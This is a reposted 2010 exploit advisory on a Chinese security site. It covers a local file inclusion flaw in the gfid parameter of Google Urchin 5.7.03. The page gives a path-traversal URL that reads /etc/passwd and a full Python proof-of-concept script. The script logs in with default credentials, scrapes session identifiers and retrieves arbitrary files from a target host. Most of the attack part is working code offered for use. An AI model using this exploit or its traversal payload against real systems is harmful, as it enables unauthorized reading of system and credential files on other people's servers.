首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Urchin 5.7.03 LFI Vulnerability 0day
来源:vfocus.net 作者:Hermansen 发布时间:2010-12-16  

Summary:
Google Urchin is vulnerable to a Local File Include (LFI)
vulnerability that allows arbitrary reading of files.  Confirmed in
version 5.7.03 running on Linux.  Issue may exist in other versions as
well.

Analysis:
During normal usage, Google Urchin creates files on disk that are then
embedded into report pages for visual data representation.
Unfortunately, an LFI vulnerability is introduced because proper
filtering is not performed.  The included files live under
$INSTALL_PATH and look something like this:
data/cache/localhost/admin-1102-23087-1292412725.

"""
$ file ./data/cache/localhost/admin-1102-23087-1292412725
./data/cache/localhost/admin-1102-22410-1292411043: XML  document text
$ head ./data/cache/localhost/admin-1102-23087-1292412725
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20001102//EN"
  "http://www.w3.org/TR/2000/CR-SVG-20001102/DTD/svg-20001102.dtd" [
    <!ENTITY st1
"fill:none;stroke:#cccccc;stroke-width:0.25;stroke-miterlimit:4;">
]>
<!--
    <?xml-stylesheet alternate="yes" href="ucss/usvg.css" type="text/css"?>
    Copyright(c) 2003 Urchin Software Corporation. All rights reserved.
    The svg contained herein is the property of Urchin Software
    Corporation, San Diego, CA. It may not be used outside the Urchin
...
"""

A typical direct query to such a resource will look like this and is
what becomes embedded in the page:
http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=admin-1102-23087-1292412725&ie5=.svg

By simply modifying the gfid parameter in the GET request, we can tell
Urchin to read any file on the host instead, like so:
http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=../../../../../../../../../../etc/passwd&ie5=.svg

FIN
--
Kristian Erik Hermansen

PoC Code:

#!/usr/bin/env python

# Author: "Kristian Erik Hermansen" <kristian.hermansen@gmail.com>
# Date: December 2010
# Google Urchin 5.x LFI in gfid parameter (0day)

from sys import argv
import httplib, urllib

if len(argv) < 3:
    print 'usage: %s <host> <file> [port] [user] [pass]' % (argv[0])
    exit(1)

HOST = argv[1]
FILE = argv[2]
PORT = int(argv[3]) or 9999
USER = argv[4] or 'admin'
PASS = argv[5] or 'urchin'

conn = httplib.HTTPConnection('%s:%d' % (HOST,PORT))

conn.request('GET', '/')
response = conn.getresponse()
if str(response.status)[0] == '3':
    print '[-] Host probably uses SSL. Not supported.'
    exit(2)
data = response.read()
app = data.split('<input type="hidden" name="app" value="')[1].split('"')[0]

params = urllib.urlencode({'user': USER, 'pass': PASS, 'app': app, 'action': 'login'})

conn.request('POST', '/session.cgi', params)
response = conn.getresponse()
data = response.read()
if data.find('Authentication Failed.') == -1:
    print '[*] Authentication succeeded :)'
else:
    print '[-] Authentication failed :('
    exit(3)
sid = data.split('?sid=')[1].split('&')[0]
rid = data.split('<a href="javascript:openReport(')[1].split(',')[0]

if app == 'admin.exe':
    pad = '..\\'*16
else:
    pad = '../'*16
conn.request('GET', '/session.cgi?sid=%s&action=prop&app=urchin.cgi&rid=%s&cmd=svg&gfid=%s%s&ie5=.svg' % (sid,rid,pad,FILE))
response = conn.getresponse()
data = response.read()

if data.find('SVG image not found. Possible causes are:') == -1:
    print data
else:
    print '[-] Failed to retrive requested file. May not exist on host.'

conn.close()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IBM Tivoli Storage Manager (TS
·Digital Audio Editor 7.6.0.237
·Easy DVD Creator Local Crash P
·Internet Explorer 8 CSS Parser
·Aesop GIF Creator <= v2.1 (.ae
·Crystal Reports Viewer 12.0.0.
·SolarFTP 2.0 Multiple Commands
·FontForge .BDF Font File Stack
·Altarsoft Audio Converter 1.1
·D-Link DIR-300 CSRF Vuln (Chan
·Windows Win32k Pointer Derefer
·Trixbox langChoice PHP Local F
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved